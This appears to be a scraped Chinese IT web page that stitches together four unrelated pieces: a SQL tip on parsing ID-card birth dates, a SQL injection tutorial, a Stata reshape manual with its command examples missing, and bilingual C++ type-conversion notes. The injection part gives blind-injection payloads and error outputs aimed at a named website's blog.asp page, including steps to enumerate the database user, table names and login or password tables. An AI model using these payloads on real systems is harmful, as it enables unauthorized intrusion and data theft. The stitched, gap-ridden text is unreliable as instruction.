关于errorconvertingvalue的信息

http://www.itjxue.com  2023-02-22 17:58  来源:未知  点击次数: 

SQL 2个字段 提取身份证

update xx set csrq=substring(sfzhm,7,8) from xx where len(sfzhm)=18

update xx set csrq='19'+substring(sfzhm,7,6) from xx where len(sfzhm)=15

服务器: 消息 242,级别 16,状态 3,行 1

The conversion of a char data type to a datetime data type resulted in an out-of-range datetime value.

The statement has been terminated.

------------------------------

那说明你的身份证号码(sfzhm)里面的现有数据有异常的情况(如:月份非1-12,有可能是15这样的数据;天可能非1-31,有可能是55这样的数据),你可以用substring分别截取年、月、日各个部分检查下。

ps:将varchar类型的值赋予给datetime时,不用转换函数的,内部会自动转换的。

如何灵活地运用SQLInjection做数据库渗透的一种思路

如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方

当加入" ' "符号进行注入测试时,

'

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int

我们知道它不对" ' "符号进行过滤。再用如下语句测试,

http //www aquavelvas com/blog.asp?id=4 and 1=1

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int

好,再来继续测试,

http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1

这次出错讯息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '

我们的" ' "符号加对了,再继续测试,

'%20and%20user'0

出错信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'

应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,

'%20and%20len(user)'0

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'

好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)0,凭着刚才的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,

'%20and%20user%20'1'='2

果然,出错信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

从len(user)0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是

thomasa。再用db_name()这个function,我们可猜出数据库名。

好了,如何猜表名呢?就先猜表名的长度吧,

就用如下语句,

len(select top 1 name from sysobjects where xtype='U')10

len(select top 1 name from sysobjects where xtype='U')9

len(select top 1 name from sysobjects where xtype='U')8

...

(猜表名的工作是很烦人,建议用perl写个script来玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype='U'),1)=a

left((select top 1 name from sysobjects where xtype='U'),2)=ab

left((select top 1 name from sysobjects where xtype='U'),3)=abc

...

好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)

再继续猜表名,

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8

...

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o

....

好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?

如何搜索呢?就用如下的语句吧,

(select count(*) from sysobjects where xtype='U' and name like '%login%')=0

(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0

(select count(*) from sysobjects where xtype='U' and name like '%key%')=0

(记得将" % "这符号换成" %25 "才是正确的输入)

好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。

reshape — Convert data from wide to long form and vice versa

reshape converts data from wide to long form and vice versa.

Create v from 2 time periods stored in v1 and v2 for observations identified by idvar and add tvar identifying time period

Create v from 2 subobservations stored in v1 and v2 for observations identified by idvar and add subobs identifying each subobservation

As above, but allow subobs to contain strings

Undo results from above

Create v1 and v2 from v with observations identified by idvar and time period identified by tvar

Undo results from above

Create var and time identifier tvar from v1ar and v2ar with observation identifier idvar

Overview

从长到宽::

从宽到长:

使用 reshape wide 后返回长型:

使用 reshape long 后返回宽型:

将数据从宽格式转换为长格式

将数据从长格式转换为宽格式

使用reshape wide后,将数据转换回长格式

使用reshape long后将数据转换回宽格式

List problem observations when reshape fails

i(varlist) : 使用 varlist 作为ID变量

j(varname [values]) : long-wide: varname, 现有变量

wide-long: varname, 新变量

可选地指定子集 ** varname** 的值

string: ** varname** 是一个字符串变量(默认为数字)

i(varlist), 此项是必须的。

其中值为#[ - #] [...]如果 varname 是数字(默认)。

"string" ["string" ...] 如果 varname 是字符串。

并且其中存根名称是变量名称 (long- wide) ,或者是变量名称的存根 (wide- long) ,并且两种方式都可以包含 @ ,表示 j 出现或将出现在名称中的位置。 在上面的例子中,当我们写 “reshape wide stub” 时,我们可以编写 “reshape wide stub @” ,因为 j 默认最终作为后缀。 如果我们写了 stu @ b ,那么宽变量将被命名为 stu1b 和 stu2b 。

i(varlist) 指定其唯一值表示逻辑观察的变量。** i()** 是 必须的。

j(varname [values]) 指定其唯一值表示子观察的变量。 values 列出了要从 varname 中使用的唯一值,这些值通常没有明确说明,因为 reshape 将自动从数据中确定它们。

string 指定 j() 可以包含字符串值。.

atwl(chars) , 只有高级语法可用且未在对话框中显示,指定在将数据从宽格式转换为长格式时用 ASCII 纯字符代替@character。

在使用 reshape 之前,您需要确定数据是长形还是宽形。 您还必须确定用于组织的逻辑观察 (i) 和子观察 (j)

数据。 假设您有以下数据,可以按照以下方式组织为宽或长格式:

因为我们没有在命令中指定性别,所以 Stata 假定它在逻辑观察中是恒定的,这里是 id 。

将数据视为样本 Xij 的集合,其中 i 是逻辑观察或组标识符, j 是子观察或组内标识符。通过逻辑观察来组织宽格式数据,将所有数据存储在一行中的特定观察上。 通过子观察组织长格式数据,将数据存储在多行中。

例如,我们可能会有关于1980 - 1982年间某人的身份,性别和年收入的数据。 我们有两个 Xij 变量,数据范围很宽:

将这些数据转换为长格式,我们可以输入

如果您的数据是宽型的,并且您没有组标识符变量 (i(varlist)required 选项) ,您可以使用 generate 轻松创建一个; 见 [D] generate 。 例如,在最后一个示例中,如果我们的数据集中没有 id 变量,我们可以通过键入来创建它

reshape 通常会检测数据,当数据不适合 reshape ; 将会发出 error ,但数据保持不变。

以下宽型数据包含一个错误:

当数据是宽形式时,i变量必须是唯一的;我们输入了i(Id),但是我们有2个观测值,其中id是2。(第二人是男性还是女性?)

当数据是长格式时,重复I变量并不是错误,但是下面的数据也有类似的错误:

考虑一些没有错误的长形数据。 我们列出了前4个观察结果。

总之,有三种情况, reshape 将拒绝转换数据:

由于存在一些错误, reshape 可能会转换数据并产生令人惊讶的结果。 假设我们忘记提及 ue 变量在以下宽数据中的id内变化:

Whenever you type a reshape long or reshape wide command with arguments, reshape remembers it. Thus you might type

and work with the data like that. You could then type

to convert the data back to the wide form. Then later you could type

to convert them back to the long form. If you save the data, you can even continue using reshape wide and reshape long without arguments during a future Stata session.Be careful. If you create new Xij variables, you must tell reshape about them by typing the

full reshape command, although no real damage will be done if you forget. If you are converting

from long to wide form, reshape will catch your error and refuse to make the conversion. If you are converting from wide to long, reshape will convert the data, but the result will be surprising:

remember what happened when we forgot to mention the ue variable and ended up with ue80, ue81,and ue82 in our long data; see example 5. You can reshape long to undo the unwanted change

and then try again.

So, we can type

to get back to our original, wide-form data and then type the reshape long command that we intended:

When converting data from wide form to long form, reshape does not demand that all the variables exist. Missing variables are treated as variables with missing observations.

Let’s drop ue81 from the wide form of the data:

reshape placed missing values where ue81 values were unavailable. If we reshaped these data back to wide form by typing

the ue81 variable would be created and would contain all missing values.

The i() option can indicate one i variable (as our past examples have illustrated) or multiple variables. An example of multiple i variables would be hospital ID and patient ID within each hospital.

Unique pairs of values for hid and pid in the data define the grouping variable for reshape.

The j() option takes a variable name (as our past examples have illustrated) or a variable name and a list of values. When the values are not provided, reshape deduces them from the data. Specifying

the values with the j() option is rarely needed. reshape never makes a mistake when the data are in long form and you type reshape wide. The values are easily obtained by tabulating the j variable.

reshape can make a mistake when the data are in wide form and you type reshape long if your variables are poorly named. Say that you have the inc80, inc81, and inc82 variables, recording

income in each of the indicated years, and you have a variable named inc2, which is not income but indicates when the area was reincorporated. You type

reshape sees the inc2, inc80, inc81, and inc82 variables and decides that there are four groups in which j = 2, 80, 81, and 82.

The easiest way to solve the problem is to rename the inc2 variable to something other than “inc” followed by a number; see [D] rename.

You can also keep the name and specify the j values. To perform the reshape, you can type

or

You can mix the dash notation for value ranges with individual numbers. reshape would understand 80 82-87 89 91-95 as a valid values specification.

At the other extreme, you can omit the j() option altogether with reshape long. If you do, the j variable will be named -j.

When specifying variable names, you may include @ characters to indicate where the numbers go.

Let’s reshape the following data from wide to long form:

At most one @ character may appear in each name. If no @ character appears, results are as if the @ character appeared at the end of the name. So, the equivalent reshape command to the one above is

inc@r specifies variables named inc#r in the wide form and incr in the long form. The @ notation may similarly be used for converting data from long to wide format:

The string option allows j to take on string values.

Consider the following wide data on husbands and wives. In these data, incm is the income of the man and incf is the income of the woman.

These data can be reshaped into separate observations for males and females by typing

sex will be a string variable. Similarly, these data can be converted from long to wide form by typing

Strings are not limited to being single characters or even having the same length. You can specify the location of the string identifier in the variable name by using the @ notation.

Suppose that our variables are named id, kids, incmale, and incfem.

If the wide data had variables named minc and finc, the appropriate reshape command would have been

The resulting variable in the long form would be named inc.

We can also place strings in the middle of the variable names. If the variables were named incMomand incFome, the reshape command would be

Be careful with string identifiers because it is easy to be surprised by the result. Say that we have

wide data having variables named incm, incf, uem, uef, agem, and agef. To make the data long,we might type

Along with these variables, we also have the variable agenda. reshape will decide that the sexes are m, f, and nda. This would not happen without the string option if the variables were named

inc0, inc1, ue0, ue1, age0, and age1, even with the agenda variable present in the data.

Advanced issues with basic syntax: Second-level nesting

Sometimes the data may have more than one possible j variable for reshaping. Suppose that your data have both a year variable and a sex variable. One logical observation in the data might be

represented in any of the following four forms:

reshape can convert any of these forms to any other. Converting data from the long–long form to the wide–wide form (or any of the other forms) takes two reshape commands. Here is how we would do it:

The advanced syntax is simply a different way of specifying the reshape command, and it has one seldom-used feature that provides extra control. Rather than typing one reshape command to describe the data and perform the conversion, such as

you type a sequence of reshape commands. The initial commands describe the data, and the last command performs the conversion:

reshape i corresponds to i() in the basic syntax.

reshape j corresponds to j() in the basic syntax.

reshape xij corresponds to the variables specified in the basic syntax. reshape xij also accepts the atwl() option for use when @ characters are specified in the fvarnames. atwl stands for at-whenlong. When you specify names such as inc@r or ue@, in the long form the names become incr and ue, and the @ character is ignored. atwl() allows you to change @ into whatever you specify. For example, if you specify atwl(X), the long-form names become incXr and ueX. There is also one more specification, which has no counterpart in the basic syntax:

In the basic syntax, Stata assumes that all unspecified variables are constant within i. The advanced syntax works the same way, unless you specify the reshape xi command, which names the constant?within-i variables. If you specify reshape xi, any variables that you do not explicitly specify are dropped from the data during the conversion. As a practical matter, you should explicitly drop the unwanted variables before conversion. For instance, suppose that the data have variables inc80, inc81, inc82, sex, age, and age2 and that you no longer want the age2 variable. You could specify

or

and leave reshape xi unspecified. reshape xi does have one minor advantage. It saves reshape the work of determining which

variables are unspecified. This saves a relatively small amount of computer time. Another advanced-syntax feature is reshape query, which is equivalent to typing reshape by itself. reshape query reports which reshape parameters have been defined. reshape i, reshape j, reshape xij, and reshape xi specifications may be given in any order and may be repeated to change or correct what has been specified.Finally, reshape clear clears the definitions. reshape definitions are stored with the dataset when you save it. reshape clear allows you to erase these definitions. The basic syntax of reshape is implemented in terms of the advanced syntax, so you can mix basic and advanced syntaxes.

C++类型转换规则、何时发生隐式类型转换及强制类型转换适用场合

C++做为强类型语言,要求编译期的类型声明与检查,要求表达式中各操作数的类型(包括赋值操作的左值和右值,以及形参和实参)具有一致性,但同时也允许一定的灵活性,允许类型在一定程度上的兼容,也就是允许类型遵循一定规则下的隐式转换和强制转换。

The type of the operand(s) determine whether an expression is legal and, if the expression is legal, determines the meaning of the expression. However, in C++ some types are related to one another. When two types are related, we can use an object or value of one type where an operand of the related type is expected. Two types are related if there is a conversion between them.

表达式是否合法取决于操作数的类型,而且合法的表达式其含义也由其操作数类型决定。但是,在 C++ 中,某些类型之间存在相关的依赖关系。若两种类型相关,则可在需要某种类型的操作数位置上,使用该类型的相关类型对象或值。如果两个类型之间可以相互 转换 ,则称这两个类型相关。

1.1 The Arithmetic Conversions 算术转换

The language defines a set of conversions among the built-in types. Among these, the most common are the arithmetic conversions , which ensure that the two operands of a binary operator, such as an arithmetic or logical operator, are converted to a common type before the operator is evaluated. That common type is also the result type of the expression.

C++ 语言为内置类型提供了一组转换规则,其中最常用的是 算术转换 。算术转换保证在执行操作之前,将二元操作符(如算术或逻辑操作符)的两个操作数转换为同一类型,并使表达式的值也具有相同的类型。

The rules define a hierarchy of type conversions in which operands are converted to the widest type in the expression. The conversion rules are defined so as to preserve the precision of the values involved in a multi-type expression. For example, if one operand is of type long double, then the other is converted to type long double regardless of what the second type is.

算术转换规则定义了一个类型转换层次,该层次规定了操作数应按什么次序转换为表达式中最宽的类型。在包含多种类型的表达式中,转换规则要确保计算值的精度。例如,如果一个操作数的类型是 long double,则无论另一个操作数是什么类型,都将被转换为 long double。

The simplest kinds of conversion are integral promotions . Each of the integral types that are smaller than int char, signed char, unsigned char, short, and unsigned shortis promoted to int if all possible values of that type fit in an int. Otherwise, the value is promoted to unsigned int. When bool values are promoted to int, a false value promotes to zero and true to one.

最简单的转换为 整型提升 :对于所有比 int 小的整型,包括 char、signed char、unsigned char、short 和 unsigned short,如果该类型的所有可能的值都能包容在 int 内,它们就会被提升为 int 型,否则,它们将被提升为 unsigned int。如果将 bool 值提升为 int ,则 false 转换为 0,而 true 则转换为 1。

需要注意的,上述所谓的转换只是运算时的类型转换,存储时还会转换为其声明时的类型。

1.2 Conversions between Signed and Unsigned Types 有符号与无符号类型之间的转换

When an unsigned value is involved in an expression, the conversion rules are defined to preserve the value of the operands. Conversions involving unsigned operands depend on the relative sizes of the integral types on the machine. Hence, such conversions are inherently machine dependent.

若表达式中使用了无符号( unsigned )数值,所定义的转换规则需保护操作数的精度。unsigned 操作数的转换依赖于机器中整型的相对大小,因此,这类转换本质上依赖于机器。

In expressions involving shorts and ints, values of type short are converted to int. Expressions involving unsigned short are converted to int if the int type is large enough to represent all the values of an unsigned short. Otherwise, both operands are converted to unsigned int. For example, if shorts are a half word and ints a word, then any unsigned value will fit inside an int. On such a machine, unsigned shorts are converted to int.

包含 short 和 int 类型的表达式, short 类型的值转换为 int 。如果 int 型足够表示所有 unsigned short 型的值,则将 unsigned short 转换为 int,否则,将两个操作数均转换为 unsigned int 。例如,如果 short 用半字表示而 int 用一个字表示,则所有 unsigned 值都能包容在 int 内,在这种机器上, unsigned short 转换为 int。

The same conversion happens among operands of type long and unsigned int. The unsigned int operand is converted to long if type long on the machine is large enough to represent all the values of the unsigned int. Otherwise, both operands are converted to unsigned long.

long 和 unsigned int 的转换也是一样的。只要机器上的 long 型足够表示 unsigned int 型的所有值,就将 unsigned int 转换为 long 型,否则,将两个操作数均转换为 unsigned long 。

On a 32-bit machine, long and int are typically represented in a word. On such machines, expressions involving unsigned ints and longs are converted to unsigned long.

在 32 位的机器上,long 和 int 型通常用一个字长表示,因此当表达式包含 unsigned int 和 long 两种类型,其操作数都应转换为 unsigned long 型。

Conversions for expressions involving signed and unsigned int can be surprising. In these expressions the signed value is converted to unsigned. For example, if we compare a plain int and an unsigned int, the int is first converted to unsigned. If the int happens to hold a negative value, the result will be converted as described as belows, with all the attendant problems discussed there.

对于包含 signed 和 unsigned int 型的表达式,其转换可能出乎我们的意料。表达式中的 signed 型数值会被转换为 unsigned 型。例如,比较 int 型和 unsigned int 型的简单变量,系统首先将 int 型数值转换为 unsigned int 型,如果 int 型的值恰好为负数,其结果将以下述方法转换,并带来其所有副作用。

The compiler applies conversions for both built-in and class type objects as necessary. Implicit type conversions take place in the following situations:

编译器在必要时将类型转换规则应用到内置类型和类类型的对象上。在下列情况下,将发生隐式类型转换:

In expressions with operands of mixed types, the types are converted to a common type:

在混合类型的表达式中,其操作数被转换为相同的类型:

An expression used as a condition is converted to bool:

用作条件的表达式被转换为 bool 类型:

Conditions occur as the first operand of the conditional (?:) operator and as the operand(s) to the logical NOT (!), logical AND (), and logical OR (||) operators. Conditions also appear in the if, while, for, and do while statements.

条件操作符(?:)中的第一个操作数以及逻辑非(!)、逻辑与()和逻辑或(||)的操作数都是条件表达式。出现在 if、while、for 和 do while 语句中的同样也是条件表达式。

An expression used to initialize or assign to a variable is converted to the type of the variable:

用一表达式初始化某个变量,或将一表达式赋值给某个变量,则该表达式被转换为该变量的类型:

In addition,implicit conversions also occur during function calls.

另外,在函数调用中也可能发生隐式类型转换。

3.1 static_cast

Any type conversion that the compiler performs implicitly can be explicitly requested by using a static_cast:

编译器隐式执行的任何类型转换都可以由 static_cast 显式完成:

Such casts are useful when assigning a larger arithmetic type to a smaller type. The cast informs both the reader of the program and the compiler that we are aware of and are not concerned about the potential loss of precision. Compilers often generate a warning for assignments of a larger arithmetic type to a smaller type. When we provide the explicit cast, the warning message is turned off.

当需要将一个较大的算术类型赋值给较小的类型时,使用强制转换非常有用。此时,强制类型转换告诉程序的读者和编译器:我们知道并且不关心潜在的精度损失。对于从一个较大的算术类型到一个较小类型的赋值,编译器通常会产生警告。当我们显式地提供强制类型转换时,警告信息就会被关闭。

A static_cast is also useful to perform a conversion that the compiler will not generate automatically. For example, we can use a static_cast to retrieve a pointer value that was stored in a void* pointer:

如果编译器不提供自动转换,使用 static_cast 来执行类型转换也是很有用的。例如,下面的程序使用 static_cast 找回存放在 void* 指针中的值:

When we store a pointer in a void* and then use a static_cast to cast the pointer back to its original type, we are guaranteed that the pointer value is preserved. That is, the result of the cast will be equal to the original address value.

可通过 static_cast 将存放在 void* 中的指针值强制转换为原来的指针类型,此时我们应确保保持指针值。也就是说,强制转换的结果应与原来的地址值相等。

3.2 const_cast

A const_cast, as its name implies, casts away the constness of its expression. For example, we might have a function named string_copy that we are certain reads, but does not write, its single parameter of type char*. If we have access to the code, the best alternative would be to correct it to take a const char*. If that is not possible, we could call string_copy on a const value using a const_cast:

const_cast ,顾名思义,将 转换掉 表达式的 const 性质。例如,假设有函数 string_copy,只有唯一的参数,为 char* 类型,我们对该函数只读不写。在访问该函数时,最好的选择是修改它让它接受 const char* 类型的参数。如果不行,可通过 const_cast 用一个 const 值调用 string_copy 函数:

Only a const_cast can be used to cast away constness. Using any of the other three forms of cast in this case would result in a compile-time error. Similarly, it is a compile-time error to use the const_cast notation to perform any type conversion other than adding or removing const.

只有使用 const_cast 才能将 const 性质转换掉。在这种情况下,试图使用其他三种形式的强制转换都会导致编译时的错误。类似地,除了添加或删除 const 特性,用 const_cast 符来执行其他任何类型转换,都会引起编译错误。

3.3 reinterpret_cast

A reinterpret_cast generally performs a low-level reinterpretation of the bit pattern of its operands.

reinterpret_cast 通常为操作数的位模式提供较低层次的重新解释。

A reinterpret_cast is inherently machine-dependent. Safely using reinterpret_cast requires completely understanding the types involved as well as the details of how the compiler implements the cast.

reinterpret_cast 本质上依赖于机器。为了安全地使用 reinterpret_cast,要求程序员完全理解所涉及的数据类型,以及编译器实现强制类型转换的细节。

在引入命名的强制类型转换操作符之前,显式强制转换用圆括号将类型括起来实现:

The effect of this cast is the same as using the reinterpret_cast notation. However, the visibility of this cast is considerably less, making it even more difficult to track down the rogue cast.

效果与使用 reinterpret_cast 符号相同,但这种强制转换的可视性比较差,难以跟踪错误的转换。

Depending on the types involved, an old-style cast has the same behavior as a const_cast, a static_cast, ora reinterpret_cast. When used where a static_cast or a const_cast would be legal, an old-style cast does the same conversion as the respective named cast. If neither is legal, then an old-style cast performs a reinterpret_cast. For example, we might rewrite the casts from the previous section less clearly using old-style notation:

旧式强制转换依赖于所涉及的数据类型,具有与 const_cast、 static_cast 和 reinterpret_cast 一样的行为。在合法使用 static_cast 或 const_cast 的地方,旧式强制转换提供了与各自对应的命名强制转换一样的功能。如果这两种强制转换均不合法,则旧式强制转换执行 reinterpret_cast 功能。例如,我们可用旧式符号重写上一节的强制转换:

By using a cast, the programmer turns off or dampens normal type-checking. We strongly recommend that programmers avoid casts and believe that most well-formed C++ programs can be written without relying on casts.

强制类型转换关闭或挂起了正常的类型检查。强烈建议程序员避免使用强制类型转换,不依赖强制类型转换也能写出很好的 C++ 程序。

arithmetic conversion(算术转换)

A conversion from one arithmetic type to another. In the context of the binary arithmetic operators, arithmetic conversions usually attempt to preserve precision by converting a smaller type to a larger type (e.g., small integral types, such as char and short, are converted to int).

算术类型之间的转换。在使用二元算术操作符的地方,算术转换通常将较小的类型转换为较大的类型,以确保精度(例如,将小的整型 char 型和 short 型转换为 int 型)。

dynamic_cast

Used in combination with inheritance and run-time type identification.

用于结合继承和运行时类型识别。

implicit conversion(隐式类型转换)

A conversion that is automatically generated by the compiler. Given an expression that needs a particular type but has an operand of a differing type , the compiler will automatically convert the operand to the desired type if an appropriate conversion exists.

编译器自动实现的类型转换。假设表达式需要某种特定类型的数值,但其操作数却是其他不同的类型, 此时如果系统定义了适当的类型转换 ,编译器会自动根据转换规则将该操作数转换为需要的类型。

integral promotions(整型提升)

Subset of the standard conversions that take a smaller integral type to its most closely related larger type. Integral types (e.g. short, char, etc.) are promoted to int or unsigned int.

整型提升是标准类型转换规则的子集,它将较小的整型转换为最接近的较大数据类型。整型(如 short、char 等)被提升为 int 型或 unsigned int 型。

reinterpret_cast

Interprets the contents of the operand as a different type. Inherently machine-dependent and dangerous.

将操作数内容解释为另一种不同的类型。这类强制转换本质上依赖于机器,而且是非常危险的。

static_cast

An explicit request for a type conversion that the compiler would do implicitly. Often used to override an implicit conversion that the compiler would otherwise perform.

编译器隐式执行的任何类型转换都可以由 static_cast 显式完成。我们常常使用 static_cast 取代由编译器实现的隐式转换。

-End-

(责任编辑:IT教学网)

更多